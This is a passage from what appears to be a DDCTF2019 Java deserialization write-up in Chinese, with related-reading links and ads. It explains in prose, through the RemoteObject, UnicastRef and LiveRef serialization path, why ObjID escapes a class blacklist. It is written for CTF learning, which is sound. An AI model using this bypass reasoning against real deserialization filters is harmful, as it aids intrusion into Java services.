为什么ObjId没有被拦截,比赛时能打就没管了,如果分析错了请师傅们指正,表象是ObJid是并没有在序列化内容里面
本质上是最后序列化的点在 RemoteObject 里面执行了 writeObject
在 RemoteObject 这里 ref 是传入的 UnicastRef 对象
跟踪进入 UnicastRef 的 writeExternal
在 UnicastRef 这里ref是外部传入的 LiveRef
查看 LiveRef 的write方法,这里标红的id就是Objid。
最后查看ObjId的write
最后写入的是一个long型数字和ObjId类型没关系。
————— End —————
延伸阅读
【知识库】DDCTF2019官方Write Up——Android篇
【知识库】DDCTF2019官方Write Up——Reverse篇
【知识库】DDCTF2019官方Write Up——Misc篇
官网题目仍开放访问,点击“阅读原文“前往
关于漏洞
滴滴出行相关漏洞请提交至
http://sec.didichuxing.com/
关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/